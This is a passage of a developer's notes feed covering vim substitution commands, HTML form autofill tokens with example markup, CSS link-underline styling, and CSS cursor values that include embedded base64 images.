&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To find and replace all occurrences of ‘pick’ with ‘s’, but ask for confirmation first, enter:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;:%s/pick/s/gc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To find and replace all occurrences of case insensitive ‘eth1’ with ‘br1’, enter:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;:%s/eth1/br1/gi
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The above example will find eth1, ETH1, eTh1, ETh1 and so on and replace with br1. To find and replace all occurrences of ‘eth1’ with ‘br1’ for lines from 3 to 7, enter:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;:3,7s/eth1/br1/g
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>cheatsheet</category><author>Zander Martineau</author></item><item><title>Form autofill attributes</title><link>https://zander.wtf/notes/autofill/</link><guid isPermaLink="true">https://zander.wtf/notes/autofill/</guid><description>Spec: https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#autofill All tokens name honorific-prefix given-name additional-name…</description><pubDate>Fri, 20 Jan 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Spec: https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#autofill&lt;/p&gt;
&lt;h2&gt;All tokens&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;name&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;honorific-prefix&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;given-name&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;additional-name&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;family-name&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;honorific-suffix&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nickname&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;username&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;new-password&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;current-password&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;one-time-code&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;organization-title&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;organization&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;street-address&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;address-line1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;address-line2&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;address-line3&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;address-level4&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;address-level3&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;address-level2&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;address-level1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;country&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;country-name&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;postal-code&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cc-name&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cc-given-name&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cc-additional-name&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cc-family-name&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cc-number&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cc-exp&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cc-exp-month&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cc-exp-year&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cc-csc&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cc-type&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;transaction-currency&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;transaction-amount&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;language&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bday&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bday-day&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bday-month&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bday-year&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sex&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;url&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;photo&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There&apos;s also a very handy table &lt;a href=&quot;https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#autofill&quot;&gt;here&lt;/a&gt; if you scroll down a bit describing each token in detail.&lt;/p&gt;
&lt;h2&gt;Examples&lt;/h2&gt;
&lt;h3&gt;Name&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;label for=&quot;frmNameA&quot;&amp;gt;Name&amp;lt;/label&amp;gt;
&amp;lt;input
  name=&quot;name&quot;
  id=&quot;frmNameA&quot;
  placeholder=&quot;Full name&quot;
  required
  autocomplete=&quot;name&quot;
/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Email&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;label for=&quot;frmEmailA&quot;&amp;gt;Email&amp;lt;/label&amp;gt;
&amp;lt;input
  type=&quot;email&quot;
  name=&quot;email&quot;
  id=&quot;frmEmailA&quot;
  placeholder=&quot;name@example.com&quot;
  required
  autocomplete=&quot;email&quot;
/&amp;gt;

&amp;lt;label for=&quot;frmEmailC&quot;&amp;gt;Confirm Email&amp;lt;/label&amp;gt;
&amp;lt;input
  type=&quot;email&quot;
  name=&quot;emailC&quot;
  id=&quot;frmEmailC&quot;
  placeholder=&quot;name@example.com&quot;
  required
  autocomplete=&quot;email&quot;
/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Address&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;label for=&quot;frmAddressS&quot;&amp;gt;Address&amp;lt;/label&amp;gt;
&amp;lt;input
  name=&quot;ship-address&quot;
  required
  id=&quot;frmAddressS&quot;
  placeholder=&quot;123 Any Street&quot;
  autocomplete=&quot;shipping street-address&quot;
/&amp;gt;

&amp;lt;label for=&quot;frmCityS&quot;&amp;gt;City&amp;lt;/label&amp;gt;
&amp;lt;input
  name=&quot;ship-city&quot;
  required
  id=&quot;frmCityS&quot;
  placeholder=&quot;New York&quot;
  autocomplete=&quot;shipping locality&quot;
/&amp;gt;

&amp;lt;label for=&quot;frmStateS&quot;&amp;gt;State&amp;lt;/label&amp;gt;
&amp;lt;input
  name=&quot;ship-state&quot;
  required
  id=&quot;frmStateS&quot;
  placeholder=&quot;NY&quot;
  autocomplete=&quot;shipping region&quot;
/&amp;gt;

&amp;lt;label for=&quot;frmZipS&quot;&amp;gt;Zip&amp;lt;/label&amp;gt;
&amp;lt;input
  name=&quot;ship-zip&quot;
  required
  id=&quot;frmZipS&quot;
  placeholder=&quot;10011&quot;
  autocomplete=&quot;shipping postal-code&quot;
/&amp;gt;

&amp;lt;label for=&quot;frmCountryS&quot;&amp;gt;Country&amp;lt;/label&amp;gt;
&amp;lt;input
  name=&quot;ship-country&quot;
  required
  id=&quot;frmCountryS&quot;
  placeholder=&quot;USA&quot;
  autocomplete=&quot;shipping country&quot;
/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Shipping and billing&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;textarea
  name=&quot;shipping-address&quot;
  autocomplete=&quot;shipping street-address&quot;
&amp;gt;&amp;lt;/textarea&amp;gt;
&amp;lt;input
  type=&quot;text&quot;
  name=&quot;shipping-city&quot;
  autocomplete=&quot;shipping address-level2&quot;
/&amp;gt;
&amp;lt;input
  type=&quot;text&quot;
  name=&quot;shipping-state&quot;
  autocomplete=&quot;shipping address-level1&quot;
/&amp;gt;
&amp;lt;input
  type=&quot;text&quot;
  name=&quot;shipping-country&quot;
  autocomplete=&quot;shipping country-name&quot;
/&amp;gt;
&amp;lt;input
  type=&quot;text&quot;
  name=&quot;shipping-postal-code&quot;
  autocomplete=&quot;shipping postal-code&quot;
/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Telephones, email and instant messaging&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;tel&quot; name=&quot;home-phone&quot; autocomplete=&quot;home tel&quot; /&amp;gt;
&amp;lt;input type=&quot;tel&quot; name=&quot;work-phone&quot; autocomplete=&quot;work tel&quot; /&amp;gt;
&amp;lt;input type=&quot;email&quot; name=&quot;home-email&quot; autocomplete=&quot;home email&quot; /&amp;gt;
&amp;lt;input type=&quot;url&quot; name=&quot;chat&quot; autocomplete=&quot;home impp&quot; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In addition to the &lt;code&gt;tel&lt;/code&gt; field which would be a single input containing a full telephone number, there are also:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;tel-country-code&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tel-national&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tel-area-code&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tel-local&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tel-local-prefix&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tel-local-suffix&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tel-extension&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Credit cards&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;label for=&quot;frmNameCC&quot;&amp;gt;Name on card&amp;lt;/label&amp;gt;
&amp;lt;input
  name=&quot;ccname&quot;
  id=&quot;frmNameCC&quot;
  required
  placeholder=&quot;Full Name&quot;
  autocomplete=&quot;cc-name&quot;
/&amp;gt;

&amp;lt;label for=&quot;frmCCNum&quot;&amp;gt;Card Number&amp;lt;/label&amp;gt;
&amp;lt;input name=&quot;cardnumber&quot; id=&quot;frmCCNum&quot; required autocomplete=&quot;cc-number&quot; /&amp;gt;

&amp;lt;label for=&quot;frmCCCVC&quot;&amp;gt;CVC&amp;lt;/label&amp;gt;
&amp;lt;input name=&quot;cvc&quot; id=&quot;frmCCCVC&quot; required autocomplete=&quot;cc-csc&quot; /&amp;gt;

&amp;lt;label for=&quot;frmCCExp&quot;&amp;gt;Expiry&amp;lt;/label&amp;gt;
&amp;lt;input
  name=&quot;cc-exp&quot;
  id=&quot;frmCCExp&quot;
  required
  placeholder=&quot;MM-YYYY&quot;
  autocomplete=&quot;cc-exp&quot;
/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Sections&lt;/h3&gt;
&lt;p&gt;The final feature of the new autocomplete attribute tokens is the ability to declare an arbitrary section to group fields.&lt;/p&gt;
&lt;p&gt;A section is defined using a token that starts with &lt;code&gt;section-&lt;/code&gt;. What comes after the dash is up to you. The specification provides this example of sections:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset&amp;gt;
  &amp;lt;legend&amp;gt;Ship the blue gift to...&amp;lt;/legend&amp;gt;
  &amp;lt;label&amp;gt;
    Address:
    &amp;lt;input name=&quot;bc&quot; autocomplete=&quot;section-blue shipping street-address&quot; /&amp;gt;
  &amp;lt;/label&amp;gt;
  &amp;lt;label&amp;gt;
    City:
    &amp;lt;input name=&quot;bc&quot; autocomplete=&quot;section-blue shipping address-level2&quot; /&amp;gt;
  &amp;lt;/label&amp;gt;
  &amp;lt;label&amp;gt;
    Postal Code:
    &amp;lt;input name=&quot;bp&quot; autocomplete=&quot;section-blue shipping postal-code&quot; /&amp;gt;
  &amp;lt;/label&amp;gt;
&amp;lt;/fieldset&amp;gt;

&amp;lt;fieldset&amp;gt;
  &amp;lt;legend&amp;gt;Ship the red gift to...&amp;lt;/legend&amp;gt;
  &amp;lt;label&amp;gt;
    Address:
    &amp;lt;input name=&quot;ra&quot; autocomplete=&quot;section-red shipping street-address&quot; /&amp;gt;
  &amp;lt;/label&amp;gt;
  &amp;lt;label&amp;gt;
    City:
    &amp;lt;input name=&quot;rc&quot; autocomplete=&quot;section-red shipping address-level2&quot; /&amp;gt;
  &amp;lt;/label&amp;gt;
  &amp;lt;label&amp;gt;
    Postal Code:
    &amp;lt;input name=&quot;rp&quot; autocomplete=&quot;section-red shipping postal-code&quot; /&amp;gt;
  &amp;lt;/label&amp;gt;
&amp;lt;/fieldset&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;All the tokens&lt;/h3&gt;
&lt;p&gt;If you’re using the autofill tokens, the order is:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[section-](optional) [shipping|billing](optional)
[home|work|mobile|fax|pager](optional) [autofill field name]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The longest possible set autofill token might look something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;label for=&quot;foo&quot;&amp;gt;Mobile phone for delivery&amp;lt;/label&amp;gt;
&amp;lt;input
  type=&quot;text&quot;
  name=&quot;foo&quot;
  id=&quot;foo&quot;
  autocomplete=&quot;section-red shipping mobile tel&quot;
/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Demo&lt;/h3&gt;
&lt;p&gt;&amp;lt;iframe height=&quot;265&quot; style=&quot;width: 100%;&quot; scrolling=&quot;no&quot; title=&quot;Cross Browser Autofill Form — Selected Fields&quot; src=&quot;https://codepen.io/grigs/embed/YqoyWv?height=265&amp;amp;theme-id=light&amp;amp;default-tab=html,result&quot; frameborder=&quot;no&quot; loading=&quot;lazy&quot; allowtransparency=&quot;true&quot; allowfullscreen=&quot;true&quot;&amp;gt;
See the Pen &amp;lt;a href=&apos;https://codepen.io/grigs/pen/YqoyWv&apos;&amp;gt;Cross Browser Autofill Form — Selected Fields&amp;lt;/a&amp;gt; by Jason Grigsby
(&amp;lt;a href=&apos;https://codepen.io/grigs&apos;&amp;gt;@grigs&amp;lt;/a&amp;gt;) on &amp;lt;a href=&apos;https://codepen.io&apos;&amp;gt;CodePen&amp;lt;/a&amp;gt;.
&amp;lt;/iframe&amp;gt;&lt;/p&gt;
&lt;h2&gt;Useful links&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://cloudfour.com/thinks/autofill-what-web-devs-should-know-but-dont/&lt;/li&gt;
&lt;li&gt;https://developers.google.com/web/updates/2015/06/checkout-faster-with-autofill&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>html</category><author>Zander Martineau</author></item><item><title>Better link underlines</title><link>https://zander.wtf/notes/better-link-underlines/</link><guid isPermaLink="true">https://zander.wtf/notes/better-link-underlines/</guid><description>Browser support See the Pen{&apos; &apos;} Better link underlines {&apos; &apos;} by Zander Martineau ( @mrmartineau ) on CodePen .</description><pubDate>Fri, 20 Jan 2023 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;a {
  &amp;amp;:link,
  &amp;amp;:visited {
    color: red;
    text-decoration: none;
    border-bottom: 2px solid currentColor;

    @supports (text-decoration-thickness: 2px) {
      text-decoration-style: solid;
      text-decoration-line: underline;
      text-decoration-color: currentColor;
      text-decoration-thickness: 2px;
      text-underline-offset: 3px;
      text-decoration-skip: ink;
      border: 0;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://caniuse.com/#feat=mdn-css_properties_text-decoration-thickness&quot;&gt;Browser support&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;iframe
height=&quot;265&quot;
style=&quot;width: 100%;&quot;
scrolling=&quot;no&quot;
title=&quot;Better link underlines&quot;
src=&quot;https://codepen.io/mrmartineau/embed/BaNOZoM?height=265&amp;amp;theme-id=light&amp;amp;default-tab=result&quot;
frameborder=&quot;no&quot;
allowtransparency=&quot;true&quot;
allowfullscreen=&quot;true&quot;&lt;/p&gt;
&lt;blockquote&gt;&lt;/blockquote&gt;
&lt;p&gt;See the Pen{&apos; &apos;}
&amp;lt;a href=&quot;https://codepen.io/mrmartineau/pen/BaNOZoM&quot;&amp;gt;
Better link underlines
&amp;lt;/a&amp;gt;{&apos; &apos;}
by Zander Martineau (&amp;lt;a href=&quot;https://codepen.io/mrmartineau&quot;&amp;gt;@mrmartineau&amp;lt;/a&amp;gt;)
on &amp;lt;a href=&quot;https://codepen.io&quot;&amp;gt;CodePen&amp;lt;/a&amp;gt;.
&amp;lt;/iframe&amp;gt;&lt;/p&gt;
</content:encoded><category>css</category><author>Zander Martineau</author></item><item><title>CSS cursors</title><link>https://zander.wtf/notes/css-cursors/</link><guid isPermaLink="true">https://zander.wtf/notes/css-cursors/</guid><description>Native cursors See the Pen Cursors by Ranjith ( @ranjithpmankada ) on CodePen . Custom cursors Massive cursor For everything or only on links See the Pen…</description><pubDate>Fri, 20 Jan 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Native cursors&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;- auto
- default
- none
- context-menu
- help
- pointer
- progress
- wait
- cell
- crosshair
- text
- vertical-text
- alias
- copy
- move
- no-drop
  not-allowed
- grab
- grabbing
- e-resize
- n-resize
- ne-resize
- nw-resize
  s-resize
- se-resize
- sw-resize
- w-resize
- ew-resize
- ns-resize
- nesw-resize
- nwse-resize
- col-resize
- row-resize
- all-scroll
- zoom-in
- zoom-out;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;iframe height=&quot;300&quot; style=&quot;width: 100%;&quot; scrolling=&quot;no&quot; title=&quot;Cursors&quot; src=&quot;https://codepen.io/ranjithpmankada/embed/YzKRLmB?default-tab=result&quot; frameborder=&quot;no&quot; loading=&quot;lazy&quot; allowtransparency=&quot;true&quot; allowfullscreen=&quot;true&quot;&amp;gt;
See the Pen &amp;lt;a href=&quot;https://codepen.io/ranjithpmankada/pen/YzKRLmB&quot;&amp;gt;
Cursors&amp;lt;/a&amp;gt; by Ranjith (&amp;lt;a href=&quot;https://codepen.io/ranjithpmankada&quot;&amp;gt;@ranjithpmankada&amp;lt;/a&amp;gt;)
on &amp;lt;a href=&quot;https://codepen.io&quot;&amp;gt;CodePen&amp;lt;/a&amp;gt;.
&amp;lt;/iframe&amp;gt;&lt;/p&gt;
&lt;h2&gt;Custom cursors&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;/* URL, with a keyword fallback */
cursor: url(hand.cur), pointer;

/* URL and coordinates, with a keyword fallback */
cursor: url(cursor1.png) 4 12, auto;
cursor: url(cursor2.png) 2 2, pointer;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Massive cursor&lt;/h2&gt;
&lt;p&gt;For everything&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;body {
  cursor: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACgAAAA+CAYAAABZcVnrAAAAAXNSR0IArs4c6QAAAAlwSFlzAAALEwAACxMBAJqcGAAABIppVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IlhNUCBDb3JlIDUuNC4wIj4KICAgPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICAgICAgPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIKICAgICAgICAgICAgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iCiAgICAgICAgICAgIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIgogICAgICAgICAgICB4bWxuczp0aWZmPSJodHRwOi8vbnMuYWRvYmUuY29tL3RpZmYvMS4wLyIKICAgICAgICAgICAgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIj4KICAgICAgICAgPHhtcE1NOkRlcml2ZWRGcm9tIHJkZjpwYXJzZVR5cGU9IlJlc291cmNlIj4KICAgICAgICAgICAgPHN0UmVmOmluc3RhbmNlSUQ+eG1wLmlpZDo0NTY0YzM5Ni0zMDFjLTQwYzktYjE1Ny1iMjBjMzA1MzRmMGM8L3N0UmVmOmluc3RhbmNlSUQ+CiAgICAgICAgICAgIDxzdFJlZjpkb2N1bWVudElEPnhtcC5kaWQ6NDU2NGMzOTYtMzAxYy00MGM5LWIxNTctYjIwYzMwNTM0ZjBjPC9zdFJlZjpkb2N1bWVudElEPgogICAgICAgICA8L3htcE1NOkRlcml2ZWRGcm9tPgogICAgICAgICA8eG1wTU06RG9jdW1lbnRJRD54bXAuZGlkOkExQURENTdBODI0NjExRTU5QTVGODE5NTcyNzM0RDQzPC94bXBNTTpEb2N1bWVudElEPgogICAgICAgICA8eG1wTU06SW5zdGFuY2VJRD54bXAuaWlkOkExQURENTc5ODI0NjExRTU5QTVGODE5NTcyNzM0RDQzPC94bXBNTTpJbnN0YW5jZUlEPgogICAgICAgICA8eG1wTU06T3JpZ2luYWxEb2N1bWVudElEPnhtcC5kaWQ6NDU2NGMzOTYtMzAxYy00MGM5LWIxNTctYjIwYzMwNTM0ZjBjPC94bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ+CiAgICAgICAgIDx0aWZmOk9yaWVudGF0aW9uPjE8L3RpZmY6T3JpZW50YXRpb24+CiAgICAgICAgIDx4bXA6Q3JlYXRvclRvb2w+QWRvYmUgUGhvdG9zaG9wIENDIDIwMTQgKE1hY2ludG9zaCk8L3htcDpDcmVhdG9yVG9vbD4KICAgICAgPC9yZGY6RGVzY3JpcHRpb24+CiAgIDwvcmRmOlJERj4KPC94OnhtcG1ldGE+CueE77QAAAbUSURBVGgF3ZlrbFRFFMcLKD6IiQ8wUKFgItaYWEGDMSYqj2ClHwxCKuIHQmxo4EMj+PhADFDwg1FAQI1SEEgLKW0MocaCgLFKrQi0WGkoltI1PEoLpZVd2kIf267///Se9e7svd1729228SSnM3fmzJnfPefO3NnbuDhIIBB4Avoh6xTUh/fUhshfAxBFYJUgDSlIwEwmnSFDL5IASxQ6o1wzpCJpAuw2gWYOGUgTIPm6hhykBqhDfjrokdQAJc3mSG4YVEgdEDCB5uZmiaQAfzZokFaAhGxtbSUkAQVy86BA2gESsuW/SBKWsmXAITFpyD5IMLO2tLQQzBzJLwYUUgPsNsNJvampSYf82gQ5QuoxKZ0AErSpMQgpK3yHAMFH7CCdAhLy2tVrEkmB3BVzSDeAhLxaf1WHzEb7MIKiI/qR1ABDFgjntNKGa8FI+kkLySEgBfXoQsKheRVbLhLOq2vt5csE4+qWdO+BzR3Q6EL2FZAcdXV1OmQu2tWJHB3RiaQGGBYpgvSmf3s8Ainp3gf7u6DRiaQG6DjFZuia6vMCKen+bvHixXdHBTIagIS1iGQB2u/sN6QG2Gs6CdKbVp39SyIp6f4+JydnVL8gNcA+pdgMXX2uWoc80K90RxuQsBaRLMzKyrq3T5GMBSAh//yjXCIpC+enioqKBwxItV+yHlFiBYiJAxWnTxOS0tlTBIpKSkruIxSune2TMOzTm4RzONHSEycNtoAsnF9qa2sfMiAjRzLWgLyJU2VlOuSv5eXl9zuC1AAdRcVJ5HSb0pPBSEq6j1ZWVj5oQNqnWwPs9zajg5mvj5X8pkfyWE1NzcMGpHW6BxKQsCeOHxdIieTv9fX1YwzI8EhqgDFLsTmSBw8c0CHLbt26Nd4ykhpgTFNshjTOkwSVSJ6+fv16fBhkNAE5mybyczVS2WGMO3Xp0iWB7Ek3OqK2D9ZduaLxubrkTVDOQh9jJF1/i/4oc22cz+vlWEvZsH693t6MhhtQnwO9CZsm6OPQrTitj5ZfYoloqIIqGTZMNctlsFzydlrcth3fqOtl6Uvjtm7PCvaZK11+f9zwESP4LA/H6jwUHx+fP3/+/JGocwFGlIaGhu5FixYFfD7fcWWMcEZM8cI3FjD0QTlfXW272vP27qWdpOsyJnkOOho6DjrWoXJvVAcLvrR7BXxrwZsCJg+6uoYDW0gDUEHi284HsOU8rh8pjtMBQyad99pcM5zUVVl89GiILV2JlpWW0kYOB6Vol2OW9fMDA1uBI8sIJs+arUDwR85zTe3t7cG3Pjvh1FKnTXmG3cGI43U2lwBocx9FDAoDfDZpCiegCFwnTsTrMAfzfUP1AGBd5lpLQLL80/NFTKL4LdrcRw+D9BR3v7/iXWP+IFxbdnY2948XoWPQuccw8HtveG0B16xaTTO5QV9eXt40Yz53UYSTkAgak4tjf25uLj+iv5SSkjKRE2D5v2rYsOh+fupUW0jDTkWxs7PzEwPQXSThxAxInwLXibveCKeM3PjMzEy583tgI+cmPw+j6LfUw4cOm/150tLS1E2iUXyRuXeBsRlQ4Pz5+flbMPJlKE8ZyiFs1fsR5XIoRW0l6LcEZLshyi+O+svQ5m6xwIEAqsnocP/+/Z/DD+ESoMGUoEvVCwoKJqCuPm+h7N6ze7ctYOWZMzAJbjnF8Ke+25j9om4vGCyAyhEm/xLWhJsADUsFjBQkyo0cAPHj9WYLmPr6PNrIzfvx0zOFNGgL8832MIHhZHqgFBYWfgWDmdCJUEsHMFNpvnDhwguo3+Y4SNfSJUtsIW/fVmay5ew0QQSzY2oLrcL5k5zhyJEjW9EzHToJagmH9hDBsB84FuI/jy9c6LTUzZs20Uai2Ig99Sk6QpsjwEkXL178GPbToYxcz0ERFTuBY3UDeM8u5MwQtQhgbwnIdkOUHf6LtY6+0eYoELTlSn0UGhGOxuJ45cqV3LgrZfKfi4rCALdv22Z0qwjKydkDN4/Ql2n74qWtjESPIzjxIJAoVwsgS/Qr3bVzp9GswFTkjAafx+PZB7un6QttkdNMQ7cCxyo9xcXFfIbVf3lQdp2rqgq0tbWhGgbWjEPrQcyTAZ0FnZSamuoqKG4Zg3cPmN0kgnClcjGYI9aC4/vBhISEdwywJJQ8uKqvr64ndTMAICoC+F/eK6hTZCthvZVgiYmJy+FzJpQrd2x6enrsweQmACHPD9/P8sngZmNj44/JycnvwW42lM9afEZGhrxBZPjAlABTz2JHR8cyr9dbNGPGjBWYmc8YwcYNGpjF7fMTL6FUxObMmTM4EbMAU03cz5KSkkbJB3M7u/9V+7/AmabO8oBZiwAAAABJRU5ErkJggg==),
    auto;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;or only on links&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a {
  cursor: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADIAAAA6CAYAAADybArcAAAAAXNSR0IArs4c6QAAAAlwSFlzAAALEwAACxMBAJqcGAAABJhpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IlhNUCBDb3JlIDUuNC4wIj4KICAgPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICAgICAgPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIKICAgICAgICAgICAgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iCiAgICAgICAgICAgIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIgogICAgICAgICAgICB4bWxuczp0aWZmPSJodHRwOi8vbnMuYWRvYmUuY29tL3RpZmYvMS4wLyIKICAgICAgICAgICAgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIj4KICAgICAgICAgPHhtcE1NOkRlcml2ZWRGcm9tIHJkZjpwYXJzZVR5cGU9IlJlc291cmNlIj4KICAgICAgICAgICAgPHN0UmVmOmluc3RhbmNlSUQ+eG1wLmlpZDplNzExNjE3My1jNzliLTQ1MGUtYWRkZS02YmNhNzM4NWZiMjY8L3N0UmVmOmluc3RhbmNlSUQ+CiAgICAgICAgICAgIDxzdFJlZjpkb2N1bWVudElEPmFkb2JlOmRvY2lkOnBob3Rvc2hvcDo4ODIyOTU3Mi1jYTI1LTExNzgtOWY5YS1lZTgzYjM4MGM5ODI8L3N0UmVmOmRvY3VtZW50SUQ+CiAgICAgICAgIDwveG1wTU06RGVyaXZlZEZyb20+CiAgICAgICAgIDx4bXBNTTpEb2N1bWVudElEPnhtcC5kaWQ6MjE3N0MzRkE4MUJDMTFFNTlBNUY4MTk1NzI3MzRENDM8L3htcE1NOkRvY3VtZW50SUQ+CiAgICAgICAgIDx4bXBNTTpJbnN0YW5jZUlEPnhtcC5paWQ6MjE3N0MzRjk4MUJDMTFFNTlBNUY4MTk1NzI3MzRENDM8L3htcE